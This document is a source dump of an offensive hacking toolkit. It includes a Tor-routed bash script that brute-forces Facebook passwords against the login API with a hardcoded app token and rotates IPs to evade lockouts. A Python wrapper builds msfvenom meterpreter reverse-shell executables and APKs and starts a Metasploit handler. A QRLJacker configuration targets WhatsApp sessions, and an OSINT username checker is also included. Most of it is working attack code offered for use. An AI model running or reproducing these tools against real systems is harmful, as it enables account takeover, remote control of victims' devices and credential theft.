4 | counter2=20
5 | start=0
6 | end=20
7 | turn=$((start+end))
8 | startline=1
9 | endline=1
10 | sumstart=0
11 |
12 |
13 | checkroot() {
14 | if [[ "$(id -u)" -ne 0 ]]; then
15 | printf "\e[1;77mPlease, run this program as root!\n\e[0m"
16 | exit 1
17 | fi
18 | }
19 |
20 | checktor() {
21 |
22 | check=$(curl --socks5-hostname localhost:9050 -s https://www.google.com > /dev/null; echo $?)
23 |
24 | if [[ "$check" -gt 0 ]]; then
25 | printf "\e[1;91mPlease, check your TOR Connection! Just type \"tor\" or \"service tor start\"\n\e[0m"
26 | exit 1
27 | fi
28 |
29 | }
30 |
31 |
32 | dependencies() {
33 |
34 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed, run install.sh. Aborting."; exit 1; }
35 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed, run install.sh Aborting."; exit 1; }
36 |
37 | }
38 |
39 | USER_AGENT='Firefox'
40 |
41 | function start() {
42 |
43 | read -p $'\e[1;92mEmail account: \e[0m' EMAIL
44 | default_wl_pass="modules/FB-BruteForce/passwords.lst"
45 | read -p $'\e[1;92mPassword List (Hit Enter to default list): \e[0m' wl_pass
46 | wl_pass="${wl_pass:-${default_wl_pass}}"
47 |
48 | }
49 | function changeip() {
50 |
51 | killall -HUP tor
52 |
53 | }
54 |
55 | function store() {
56 |
57 | if [[ -n "$PASS" ]]; then
58 | printf "\e[1;91m [*] Waiting a second...\n\e[0m"
59 | sleep 3
60 | fi
61 | default_session="Y"
62 | printf "\n\e[1;77mSave session for user\e[0m\e[1;92m %s \e[0m" $EMAIL
63 | read -p $'\e[1;77m? [Y/n]: \e[0m' session
64 | session="${session:-${default_session}}"
65 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
66 | if [[ ! -d modules/FB-BruteForce/sessions ]]; then
67 | mkdir modules/FB-BruteForce/sessions
68 | fi
69 | cum=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1)
70 | printf "EMAIL=\"%s\"\nPASS=\"%s\"\nwl_pass=\"%s\"\ncum=\"%s\"\ntoken=\"%s\"\n" $EMAIL $PASS $wl_pass $token $token > modules/FB-BruteForce/sessions/store.session.$EMAIL.$(date +"%FT%H%M")
71 | printf "\e[1;77mSession saved.\e[0m\n"
72 | printf "\e[1;92mUse [11] resume\n"
73 | else
74 | exit 1
75 | fi
76 |
77 | }
78 |
79 |
80 | function bruteforcer() {
81 |
82 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
83 | printf "\e[1;92mEmail account:\e[0m\e[1;77m %s\e[0m\n" $EMAIL
84 | printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" $wl_pass $count_pass
85 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
86 | }
87 |
88 |
89 | function method1() {
90 |
91 | while [ $counter -lt $turn ]; do
92 |
93 | IFS=$'\n'
94 | for PASS in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
95 | countpass=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1)
96 | token=$(($counter+1))
97 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $token $count_pass $PASS
98 | sleep 1
99 | {( trap '' SIGINT && check=$( curl --socks5 localhost:9050 -s 'https://b-api.facebook.com/method/auth.login' --user-agent "Firefox" -L -H "Authorization: OAuth 200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16" -d "email=$EMAIL&password=$PASS" | grep -o "session_key\|account is temporarily unavailable" | uniq ); if [[ $check == "session_key" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.facebash \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi ) } & done; wait $!;
100 | let counter++
101 | let startline++
102 | let endline++
103 | changeip
104 | done
105 |
106 | }
107 |
108 |
109 | function method2() {
110 |
111 | rm -rf cookies*
112 | while [ $counter2 -lt $turn ]; do
113 |
114 | IFS=$'\n'
115 | for PASS in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
116 | countpass=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1)
117 | token=$(($counter2+1))
118 | COOKIES='cookies'$countpass''
119 | #printf "method 2 \n"
120 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $PASS
121 |
122 | {( trap '' SIGINT && curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES --location > /dev/null && curl -s -X POST --socks5-hostname localhost:9050 'https://login.facebook.com/login.php' --user-agent $USER_AGENT --data-urlencode "email=${EMAIL}" --data-urlencode "pass=${PASS}" --cookie $COOKIES --cookie-jar $COOKIES > /dev/null && var=$( curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES | grep -o "logoutMenu\|account is temporarily unavailable" | uniq ); if [[ $var == "logoutMenu" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi; ) } & done; wait $!;
123 | rm -rf cookies$countpass
124 | changeip
125 | let startline++
126 | let endline++
127 | let counter2++
128 |
129 | done
130 | }
131 |
132 | function resumemethod1() {
133 | counter1=1
134 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
135 | while [ $counter1 -lt $turn ]; do
136 | threads=1
137 | IFS=$'\n'
138 | for PASS in $(sed -n ''$token','$(($cum+1))'p' $wl_pass); do
139 |
140 | #countpass=$(grep -n "$PASS" "$wl_pass" | cut -d ":" -f1)
141 | #childcount=$(($counter1))
142 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $PASS
143 | let token++
144 | #sleep 1
145 | {( trap '' SIGINT && check=$( curl --socks5 localhost:9050 -s 'https://b-api.facebook.com/method/auth.login' --user-agent "Firefox" -L -H "Authorization: OAuth 200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16" -d "email=$EMAIL&password=$PASS" | grep -o "session_key\|account is temporarily unavailable" | uniq ); if [[ $check == "session_key" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.facebash \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi ) } & done; wait $!;
146 | let counter1++
147 | let threads++
148 | let startline++
149 | let endline++
150 | #let countpass++
151 | let cum++
152 | changeip
153 | done
154 |
155 | }
156 |
157 | function resumemethod2() {
158 | rm -rf cookies*
159 | count_pass=$(wc -l $wl_pass | cut -d " " -f1)
160 | counter22=20
161 | while [ $counter22 -lt $turn ]; do
162 |
163 | IFS=$'\n'
164 | for PASS in $(sed -n ''$token','$(($cum+1))'p' $wl_pass); do
165 | let countpass++
166 |
167 | COOKIES='cookies'$countpass''
168 | #echo "method 2: \n"
169 | #childcount=$(($counter22))
170 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" $token $count_pass $PASS
171 |
172 | {( trap '' SIGINT && curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES --location > /dev/null && curl -s -X POST --socks5-hostname localhost:9050 'https://login.facebook.com/login.php' --user-agent $USER_AGENT --data-urlencode "email=${EMAIL}" --data-urlencode "pass=${PASS}" --cookie $COOKIES --cookie-jar $COOKIES > /dev/null && var=$( curl -s -X GET --socks5-hostname localhost:9050 'https://www.facebook.com/home.php' --user-agent $USER_AGENT --cookie $COOKIES --cookie-jar $COOKIES | grep -o "logoutMenu\|account is temporarily unavailable" | uniq ); if [[ $var == "logoutMenu" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n " $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> found.facebash ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; elif [[ $check == "account is temporarily unavailable" ]]; then printf "\e[1;92m \n [*] Password Found or false positive: %s\n [*] Flag can be false positive\n" $PASS; printf "Username: %s, Password: %s\n" $EMAIL $PASS >> result/passwordFB ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m result/passwordFB \n\e[0m"; kill -1 $$ ; fi; ) } & done; wait $!;
173 | rm -rf cookies$countpass
174 | changeip
175 |
176 | let startline++
177 | let endline++
178 | let counter22++
179 | let token++
180 | let cum++
181 | done
182 | }
183 |
184 | function resume() {
185 |
186 | checkroot
187 | checktor
188 | counter=1
189 | if [[ ! -d modules/FB-BruteForce/sessions ]]; then
190 | printf "\e[1;91m[*] No sessions\n\e[0m"
191 | exit 1
192 | fi
193 | printf "\e[1;92mFiles sessions:\n\e[0m"
194 | for list in $(ls modules/FB-BruteForce/sessions/store.session*); do
195 | IFS=$'\n'
196 | source $list
197 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$counter" "$list" "$wl_pass" "$PASS"
198 | let counter++
199 | done
200 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume
201 | source $(ls modules/FB-BruteForce/sessions/store.session* | sed ''$fileresume'q;d')
202 |
203 | printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user
204 | printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass
205 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"
206 |
207 | while [ true ]; do
208 |
209 | resumemethod1
210 | #let turn+=20
211 | #method2
212 | hourdate=$(date +%H)
213 | dat=$(($hourdate + 1))
214 | mindate=$(date +%M:%S)
215 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat $mindate
216 | let turn+=20
217 | sleep 3600
218 | resumemethod2
219 | hourdate2=$(date +%H)
220 | dat2=$(($hourdate2 + 1))
221 | mindate2=$(date +%M:%S)
222 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat2 $mindate2
223 | let turn+=20
224 | sleep 3600
225 | done
226 |
227 | }
228 |
229 | case "$1" in --resume) resume ;; *)
230 |
231 |
232 | checkroot
233 | dependencies
234 | checktor
235 | start
236 | bruteforcer
237 | while [ true ]; do
238 |
239 | method1
240 | #let turn+=20
241 | #method2
242 | hourdate=$(date +%H)
243 | dat=$(($hourdate + 1))
244 | mindate=$(date +%M:%S)
245 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat $mindate
246 | let turn+=20
247 | sleep 3600
248 | method2
249 | hourdate2=$(date +%H)
250 | dat2=$(($hourdate2 + 1))
251 | mindate2=$(date +%M:%S)
252 | printf "\e[1;91m[*] Waiting 1 hour, to return at:\e[0m\e[1;93m %s:%s\n\e[0m" $dat2 $mindate2
253 | let turn+=20
254 | sleep 3600
255 | done
256 |
257 | esac
--------------------------------------------------------------------------------
/core/Namechk/namechk.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo ""
4 | echo -e "███╗ ██╗ █████╗ ███╗ ███╗███████╗ ██████╗██╗ ██╗██╗ ██╗ ███████╗██╗ ██╗
5 | ████╗ ██║██╔══██╗████╗ ████║██╔════╝██╔════╝██║ ██║██║ ██╔╝ ██╔════╝██║ ██║
6 | ██╔██╗ ██║███████║██╔████╔██║█████╗ ██║ ███████║█████╔╝ ███████╗███████║
7 | ██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ██╔══██║██╔═██╗ ╚════██║██╔══██║
8 | ██║ ╚████║██║ ██║██║ ╚═╝ ██║███████╗╚██████╗██║ ██║██║ ██╗██╗███████║██║ ██║
9 | ╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝"
10 | echo ""
11 | echo "Osint tool based on namechk.com for checking usernames on more than 100 websites."
12 | echo ""
13 | echo " Developed by HATI"
14 |
15 | gettoken(){
16 | curl -s -d "q=$1" "https://namechk.com/" | sed -e 's/[{}"]/''/g' | cut -d : -f 2 > token
17 | token=$(cat token)
18 | }
19 |
20 | rmm()
21 | {
22 | touch token
23 | touch verify
24 | rm token
25 | rm verify
26 | exit
27 | }
28 |
29 | invp(){
30 | echo ""
31 | echo " [-] Invalid parameter"
32 | echo ""
33 | echo -e "\e[1m-------------------------------------------------------------------------------------\e[0m"
34 | echo ""
35 | echo " Examples:"
36 | echo ""
37 | echo " - Search available username:"
38 | echo " ./namechk.sh -au"
39 | echo ""
40 | echo " - Search available username on specifics websites:"
41 | echo " ./namechk.sh -au -co"
42 | echo ""
43 | echo " - Search available username list:"
44 | echo " ./namechk.sh -l -fu"
45 | echo ""
46 | echo " - Search used username:"
47 | echo " ./namechk.sh -fu"
48 | echo ""
49 | echo " - Search used username on specifics websites:"
50 | echo " ./namechk.sh -fu -co"
51 | echo ""
52 | echo " - Search used username list:"
53 | echo " ./namechk.sh -l -fu"
54 | echo ""
55 | }
56 |
57 | found(){
58 | if [ $verify == 0 ];then
59 | profile=$(cat verify | sed -e 's/[{}"]/''/g' | cut -d , -f 5 | cut -d ":" -f 2,3)
60 | echo -e "\e[1m-------------------------------------------------------------\e[0m"
61 | echo -e " [+] Username found on: \e[1;32m${service[$cont]}\e[0m"
62 | echo -e " [+] Profile url: \e[1;36m$profile\e[0m"
63 | fi
64 | }
65 |
66 | available(){
67 |
68 | if [ $verify != 0 ];then
69 | profile=$(cat verify | sed -e 's/[{}"]/''/g' | cut -d , -f 5 | cut -d ":" -f 2,3)
70 | echo -e "\e[1m-------------------------------------------------------------\e[0m"
71 | echo -e " [+] Username available on: \e[1;32m${service[$cont]}\e[0m"
72 | fi
73 | }
74 |
75 | verify(){
76 | curl -s -d "service=${service[$cont]}&token=$token&fat=xwSgxU58x1nAwVbP6+mYSFLsa8zkcl2q6NcKwc8uFm+TvFbN8LaOzmLOBDKza0ShvREINUhbwwljVe30LbKcQw==" "https://namechk.com/services/check" > verify
77 | verify=$(cat verify | sed -e 's/[{}"]/''/g' | cut -d , -f 2 | grep -c true)
78 | }
79 |
80 | websinput(){
81 | echo ""
82 | echo " [#] Enter webs for check:"
83 | echo ""
84 | read -p " " -a webs
85 | echo ""
86 | webslong=$(echo ${#webs[@]})
87 | }
88 |
89 | listinput(){
90 | echo ""
91 | echo " [#] Enter username list:"
92 | echo ""
93 | read -p " " -e list
94 | echo ""
95 | }
96 |
97 | #------------------------------------------------------------------------------------------------START------------------------------------------------------------------------------------------------
98 |
99 | service=(Facebook YouTube Twitter Instagram Blogger GooglePlus Twitch Reddit Ebay Wordpress Pinterest Yelp Slack Github Basecamp Tumblr Flickr Pandora ProductHunt Steam MySpace Foursquare OkCupid Vimeo UStream Etsy SoundCloud BitBucket Meetup CashMe DailyMotion Aboutme Disqus Medium Behance Photobucket Bitly CafeMom coderwall Fanpop deviantART GoodReads Instructables Keybase Kongregate LiveJournal StumbleUpon AngelList LastFM Slideshare Tripit Fotolog Vine PayPal Dribbble Imgur Tracky Flipboard Vk kik Codecademy Roblox Gravatar Trip Pastebin Coinbase BlipFM Wikipedia Ello StreamMe IFTTT WebCredit CodeMentor Soupio Fiverr Trakt Hackernews five00px Spotify POF Houzz Contently BuzzFeed TripAdvisor HubPages Scribd Venmo Canva CreativeMarket Bandcamp Wikia ReverbNation Wattpad Designspiration ColourLovers eyeem KanoWorld AskFM Smashcast Badoo Newgrounds younow Patreon Mixcloud Gumroad Quora)
100 | arrlong=$(echo ${#service[@]})
101 | cont=0
102 |
103 | if [[ $1 != "-l" ]];then
104 |
105 | if [[ -z $3 ]];then
106 |
107 | while [ $cont -lt $arrlong ]; do
108 | gettoken $1
109 | verify
110 | case $2 in
111 | "-au")
112 | available
113 | ;;
114 | "-fu")
115 | found
116 | ;;
117 | *)
118 | invp
119 | rmm
120 | esac
121 | ((cont++))
122 | done
123 | else
124 | case $3 in
125 | -co)
126 | websinput
127 | while [ $cont -lt $webslong ]; do
128 | gettoken $1
129 | verify
130 | case $2 in
131 | "-au")
132 | available
133 | ;;
134 | "-fu")
135 | found
136 | ;;
137 | *)
138 | invp
139 | rmm
140 | esac
141 | ((cont++))
142 | done
143 | ;;
144 | *)
145 | invp
146 | rmm
147 | ;;
148 | esac
149 | fi
150 | else
151 | if [[ -z $3 ]];then
152 | listinput
153 | while read line;do
154 | while [ $cont -lt $arrlong ];do
155 | gettoken $line
156 | verify
157 | case $2 in
158 | "-au")
159 | available
160 | ;;
161 | "-fu")
162 | found
163 | ;;
164 | *)
165 | invp
166 | rmm
167 | esac
168 | ((cont++))
169 | done
170 | done < $list
171 | else
172 | websinput
173 | listinput
174 | while read line;do
175 | while [ $cont -lt $webslong ]; do
176 | gettoken $line
177 | verify2
178 | case $2 in
179 | "-au")
180 | available
181 | ;;
182 | "-fu")
183 | found
184 | ;;
185 | *)
186 | invp
187 | rmm
188 | esac
189 | ((cont++))
190 | done
191 | cont=0
192 | done < $list
193 | fi
194 | fi
195 | echo ""
196 | rmm
197 | exit
198 |
--------------------------------------------------------------------------------
/core/PayloadGenerate.py:
--------------------------------------------------------------------------------
1 | from colorama import Fore, init
2 | #import banners
3 | import banners as banners
4 | import random
5 | import subprocess, sys, os
6 |
7 | ProgramName = 'Z0172CK'
8 | LHOST = '0.0.0.0'
9 | LPORT = '444'
10 | PAYLOAD = 'None'
11 | NAME = 'msf'
12 |
13 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX]
14 | color = random.choice(colors)
15 |
16 | def generate():
17 | global ProgramName, color, LHOST, LPORT, PAYLOAD, NAME
18 |
19 | banners.println(4)
20 | print("")
21 | print("Selecione la Plataforma")
22 | print("[{}01{}] Windows".format(color, Fore.LIGHTWHITE_EX))
23 | print("[{}02{}] Android".format(color, Fore.LIGHTWHITE_EX))
24 | #print("[{}03{}] Linux".format(color, Fore.LIGHTWHITE_EX))
25 | print("")
26 |
27 | Plataform = input(str(" {} ({}Metasploit/PayloadGenerate{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
28 |
29 | if Plataform == '01' or Plataform == '1' or Plataform == 'windows':
30 | print("")
31 | print("Selecione el Payload")
32 | print("[{}01{}] windows/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX))
33 | print("[{}02{}] windows/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
34 | print("[{}03{}] windows/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
35 | print("[{}04{}] windows/meterpreter/bind_tcp".format(color, Fore.LIGHTWHITE_EX))
36 | print("[{}05{}] windows/shell/bind_tcp".format(color, Fore.LIGHTWHITE_EX))
37 | print("[{}06{}] windows/shell/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
38 | print("")
39 |
40 | WindowsPayload = input(str(" {} ({}Metasploit/PayloadGenerate{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
41 |
42 | if WindowsPayload == '01' or WindowsPayload == '1' or WindowsPayload == 'windows/meterpreter/reverse_http':
43 | PAYLOAD = 'windows/meterpreter/reverse_http'
44 |
45 | elif WindowsPayload == '02' or WindowsPayload == '2' or WindowsPayload == 'windows/meterpreter/reverse_https':
46 | PAYLOAD = 'windows/meterpreter/reverse_https'
47 |
48 | elif WindowsPayload == '03' or WindowsPayload == '3' or WindowsPayload == 'windows/meterpreter/reverse_tcp':
49 | PAYLOAD = 'windows/meterpreter/reverse_tcp'
50 |
51 | elif WindowsPayload == '04' or WindowsPayload == '4' or WindowsPayload == 'windows/meterpreter/bind_tcp':
52 | PAYLOAD = 'windows/meterpreter/bind_tcp'
53 |
54 | elif WindowsPayload == '05' or WindowsPayload == '5' or WindowsPayload == 'windows/shell/bind_tcp':
55 | PAYLOAD = 'windows/shell/bind_tcp'
56 |
57 | elif WindowsPayload == '06' or WindowsPayload == '6' or WindowsPayload == 'windows/shell/reverse_tcp':
58 | PAYLOAD = 'windows/shell/reverse_tcp'
59 |
60 | LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
61 | LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
62 | NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
63 | os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f exe -o output/{NAME}.exe")
64 | os.system(f"sudo chmod +x output/{NAME}.exe")
65 | print("{}Achivo Guardado en {}output/{}.exe{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX))
66 |
67 | elif Plataform == '02' or Plataform == '2' or Plataform == 'android':
68 | print("")
69 | print("{}Selecione el Payload{}".format(color, Fore.LIGHTWHITE_EX))
70 | print("")
71 | print("[{}01{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX))
72 | print("[{}02{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
73 | print("[{}03{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
74 | print("")
75 |
76 | AndroidPayload = input(str(" {} ({}Metasploit/GeneratePayload{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
77 |
78 | if AndroidPayload == '1' or AndroidPayload == '01':
79 | PAYLOAD = 'android/meterpreter/reverse_http'
80 |
81 | elif AndroidPayload == '2' or AndroidPayload == '02':
82 | PAYLOAD = 'android/meterpreter/reverse_https'
83 |
84 | elif AndroidPayload == '3' or AndroidPayload == '03':
85 | PAYLOAD = 'android/meterpreter/reverse_tcp'
86 |
87 | LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
88 | LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
89 | NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
90 | os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f apk -o output/{NAME}.apk")
91 | os.system(f"sudo chmod +x output/{NAME}.apk")
92 | print("{}Achivo Guardado en {}output/{}.apk{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX))
93 |
94 | option = input(str("desea conectarse a Metasploit [y/N] > "))
95 |
96 | if option == 'y' or option == 'Y' or option == 's' or option == 'S':
97 | datamsf = f"use exploit/multi/handler;set PAYLOAD {PAYLOAD};set LHOST {LHOST};set LPORT {LPORT};exploit"
98 | subprocess.call(["sudo", "msfconsole", "-q", "-x", datamsf])
99 |
100 | def androidPayloadGenerate():
101 | print("")
102 | print("{}Selecione el Payload{}".format(color, Fore.LIGHTWHITE_EX))
103 | print("")
104 | print("[{}01{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX))
105 | print("[{}02{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX))
106 | print("[{}03{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX))
107 | print("")
108 |
109 | AndroidPayload = input(str(" {} ({}Metasploit/GeneratePayload{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
110 |
111 | if AndroidPayload == '1' or AndroidPayload == '01':
112 | PAYLOAD = 'android/meterpreter/reverse_http'
113 |
114 | elif AndroidPayload == '2' or AndroidPayload == '02':
115 | PAYLOAD = 'android/meterpreter/reverse_https'
116 |
117 | elif AndroidPayload == '3' or AndroidPayload == '03':
118 | PAYLOAD = 'android/meterpreter/reverse_tcp'
119 |
120 | else:
121 | print("[!] Option Not Avalible")
122 | print("")
123 | androidPayloadGenerate()
124 |
125 | LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
126 | LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
127 | NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
128 |
129 | os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -o output/{NAME}.apk")
130 | print("File save in {}output/{}.apk{}".format(Fore.LIGHTGREEN_EX, NAME, Fore.LIGHTWHITE_EX))
--------------------------------------------------------------------------------
/core/QRLJacker/.ataque:
--------------------------------------------------------------------------------
1 | use grabber/whatsapp
2 | set port 1337
3 | run
4 | help
5 | sessions -l
--------------------------------------------------------------------------------
/core/QRLJacker/QrlJacker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | # -*- coding: utf-8 -*-
3 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
4 | from core import Cli,utils,Settings,db
5 | from core.color import *
6 | from sys import version_info as py_ver
7 | import argparse,os
8 |
9 | if ( ( py_ver.major==3 and py_ver.minor<7 ) ):
10 | # The second condition is for the future releases of python
11 | error("The framework is designed to work only on python 3.7 or above!")
12 | error("You are using version "+".".join( map( str,[py_ver.major, py_ver.minor, py_ver.micro] )) )
13 | exit(0)
14 |
15 | elif os.name=="nt":
16 | error("The framework is designed to work on linux or windows only! Sorry for that :)")
17 | exit(0)
18 |
19 | parser = argparse.ArgumentParser(prog='QrlJacker.py')
20 | parser.add_argument("-r", metavar='', help="Execute a resource file (history file).")
21 | parser.add_argument("-x", metavar='', help="Execute a specific command (use ; for multiples).")
22 | parser.add_argument("--debug",action="store_true", help="Enables debug mode (Identifying problems easier).")
23 | parser.add_argument("--dev",action="store_true", help="Enables development mode (Reloading modules every use).")
24 | parser.add_argument("--verbose",action="store_true", help="Enables verbose mode (Display more details).")
25 | parser.add_argument("-q",action="store_true", help="Quit mode (no banner).")
26 | args = parser.parse_args()
27 |
28 | def main():
29 | Settings.path = os.getcwd()
30 | if args.debug:
31 | Settings.debug = True
32 | if args.dev:
33 | Settings.development = True
34 | if args.verbose:
35 | Settings.verbose = True
36 | if not args.q:
37 | utils.banner(db.index_modules())
38 |
39 | if args.x:
40 | for c in args.x.split(";"):
41 | Cli.start(c)
42 | Cli.start()
43 | elif args.r:
44 | try:
45 | with open(args.r,"r") as f:
46 | cmds = f.readlines()
47 | for cmd in cmds:
48 | Cli.start(cmd.strip())
49 | Cli.start()
50 | except:
51 | error("Can't open the specifed resource file!")
52 | exit(0)
53 | else:
54 | Cli.start()
55 | #You think it's simple when you look here huh :"D
56 | sys.exit()
57 |
58 | if __name__ == '__main__':
59 | main()
60 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/Cli.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | # -*- coding: utf-8 -*-
3 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
4 | import os,sys,time,random,traceback,json,argparse,readline
5 | from core import utils,db,module,Settings,browser
6 | from core.color import *
7 |
8 | global modules,all_keywords
9 | modules = db.index_modules()
10 | all_keywords = [
11 | "help","?","os","banner","exit","quit",
12 | "list","show","use","info","previous","search","sessions","jobs",
13 | "database","debug","dev","verbose","reload","refresh",
14 | "history","makerc","resource"
15 | ]
16 | help_msg = end+G+"""
17 | General commands
18 | =================
19 | Command Description
20 | --------- -------------
21 | help/? Show this help menu.
22 | os Execute a system command without closing the framework
23 | banner Display banner.
24 | exit/quit Exit the framework.
25 |
26 | Core commands
27 | =============
28 | Command Description
29 | --------- -------------
